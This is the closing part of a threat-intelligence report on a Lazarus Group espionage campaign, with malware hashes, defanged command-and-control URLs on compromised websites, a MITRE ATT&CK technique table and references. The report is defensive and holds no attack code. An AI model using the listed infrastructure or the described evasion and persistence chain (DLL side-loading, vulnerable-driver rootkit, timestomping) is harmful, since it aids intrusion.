569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK A dropper of BLINDINGCAN side-loaded by a legitimate colorcpl.exe.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N/A Win64/NukeSped.JK A 64-bit variant of the BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N/A Win32/NukeSped.KQ An HTTP(S) downloader.
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD A dropper of the HTTP(S) uploader.
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH A dropper of an intermediate loader.
FD6D0080D27929C803A91F268B719F725396FE79 N/A Win64/NukeSped.LP An HTTP(S) uploader.
83CF7D8EF1A241001C599B9BCC8940E089B613FB N/A Win64/NukeSped.JH An intermediate loader that loads an additional payload from the file system.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A A legitimate vulnerable driver from Dell, dropped by FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF A dropper in the form of a trojanized lecui library.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF A dropper in the form of a trojanized lecui library.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC A trojanized FingerText plug-in for Notepad++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT A trojanized version of LibreSSL’s sslSniffer.

Netzwerk

IP Provider First seen Details
67.225.140[.]4 Liquid Web, L.L.C 2021‑10‑12 A compromised legitimate WordPress-based site hosting the C&C server
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comcast Cable Communications, LLC 2021‑10‑12 A compromised legitimate site hosting the C&C server https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba S.p.A. 2021‑10‑15 A compromised legitimate site hosting the C&C server http://www.stracarrara[.]org/images/img.asp

MITRE ATT&CK Techniken

This table was built using version 11 of the MITRE ATT&CK framework.

Tactic ID Name Description
Execution T1106 Native API The Lazarus HTTP(S) backdoor uses the Windows API to create new processes.
T1059.003 Command and Scripting Interpreter: Windows Command Shell HTTP(S) backdoor malware uses cmd.exe to execute command-line tools
Defense Evasion T1140 Deobfuscate/Decode Files or Information Many of the Lazarus tools are stored in an encrypted state on the file system.
T1070.006 Indicator Removal on Host: Timestomp The Lazarus HTTP(S) backdoor can modify the file time attributes of a selected file.
T1574.002 Hijack Execution Flow: DLL Side-Loading Many of the Lazarus droppers and loaders use a legitimate program for their loading.
T1014 Rootkit The user-to-kernel module of Lazarus can turn off monitoring features of the OS.
T1027.002 Obfuscated Files or Information: Software Packing Lazarus uses Themida and VMProtect to obfuscate their binaries
T1218.011 System Binary Proxy Execution: Rundll32 Lazarus uses rundll32.exe to execute its malicious DLLs
Command and Control T1071.001 Application Layer Protocol: Web Protocols The Lazarus HTTP(S) backdoor uses HTTP and HTTPS to communicate with its C&C servers.
T1573.001 Encrypted Channel: Symmetric Cryptography The Lazarus HTTP(S) backdoor encrypts C&C traffic using the AES-128 algorithm.
T1132.001 Data Encoding: Standard Encoding The Lazarus HTTP(S) payloads encode C&C traffic using the base64 algorithm.
Exfiltration T1560.002 Archive Collected Data: Archive via Library The Lazarus HTTP(S) uploader can zip files of interest and upload them to its C&C.
Resource Development T1584.004 Acquire Infrastructure: Server Compromised servers were used by all the Lazarus HTTP(S) backdoor, uploader, and downloader as a C&C.
Develop Capabilities T1587.001 Malware Custom tools from the attack are likely developed by the attackers. Some exhibit highly specific kernel development capacities seen earlier in Lazarus tools.
Execution T1204.002 User Execution: Malicious File The target was lured to open a malicious Word document.
Initial Access T1566.003 Phishing: Spearphishing via Service The target was contacted via LinkedIn Messaging.
T1566.001 Phishing: Spearphishing Attachment The target received a malicious attachment.
Persistence T1547.006 Boot or Logon Autostart Execution: Kernel Modules and Extensions The BYOVD DBUtils_2_3.sys was installed to start via the Boot loader (value 0x00 in the Start key under HKLM\SYSTEM\‌CurrentControlSet\Services\<name>.
T1547.001 Boot or Logon Autostart Execution: Startup Folder The dropper of the HTTP(S) downloader creates a LNK file OneNoteTray.LNK in the Startup folder.

Referenzen

Ahnlab. Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Vers. 1.0. 22 September 2022. Retrieved from AhnLab Security Emergency Response Center.

Ahnlab. (2021, June 4). APT Attacks on Domestic Companies Using Library Files. Retrieved from AhnLab Security Emergency Response Center.

Ahnlab. (2022, September 22). Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Retrieved from AhnLab Security Emergency Response Center.

Breitenbacher, D., & Kaspars, O. (2020, June). Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies. Retrieved from WeLiveSecurity.com.

ClearSky Research Team. (2020, August 13). Operation ‘Dream Job’ Widespread North Korean Espionage Campaign. Retrieved from ClearSky.com.

Dekel, K. (n.d.). Sentinel Labs Security Research. CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws. Retrieved from SentinelOne.com.

ESET. (2021, June 3). ESET Threat Report T 1 2021. Retrieved from WeLiveSecurity.com.

GReAT. (2016, August 16). The Equation giveaway. Retrieved from SecureList.com.

HvS-Consulting AG. (2020, December 15). Greetings from Lazarus: Anatomy of a cyber-espionage campaign. Retrieved from hvs-consulting.de.

Cherepanov, A., & Kálnai, P. (2020, November). Lazarus supply-chain attack in South Korea. Retrieved from WeLiveSecurity.com.

Kálnai, P. (2017, 2 17). Demystifying targeted malware used against Polish banks. (ESET) Retrieved from WeLiveSecurity.com.

Kopeytsev, V., & Park, S. (2021, February). Lazarus targets defense industry with ThreatNeedle. (Kaspersky Lab) Retrieved from SecureList.com.

Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operation BookCode - Targeting South Korea. Virus Bulletin. localhost. Retrieved from vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, September 14). It's Time to PuTTY! DPRK Job Opportunity Phishing via WhatsApp. Retrieved from Mandiant.com.

Tomonaga, S. (2020, September 29). BLINDINGCAN - Malware Used by Lazarus. (JPCERT/CC) Retrieved from blogs.jpcert.or.jp.

US-CERT CISA. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. (CISA) Retrieved from cisa.gov.

Weidemann, A. (2021, 1 25). New campaign targeting security researchers. (Google Threat Analysis Group) Retrieved from blog.google.

Wu, H. (2008). The Stream Cipher HC-128. In M. Robshaw , & O. Billet , New Stream Cipher Designs (Vol. 4986). Berlin, Heidelberg: Springer. Retrieved from doi.org.

Haben Sie Fragen und Anregungen zu diesem, anderen oder zukünftigen Themen, die Sie gern betrachtet sehen wollen? Dann nutzen Sie gern die Kommentarfunktion unter diesem Artikel oder nutzen unser Kontaktformular!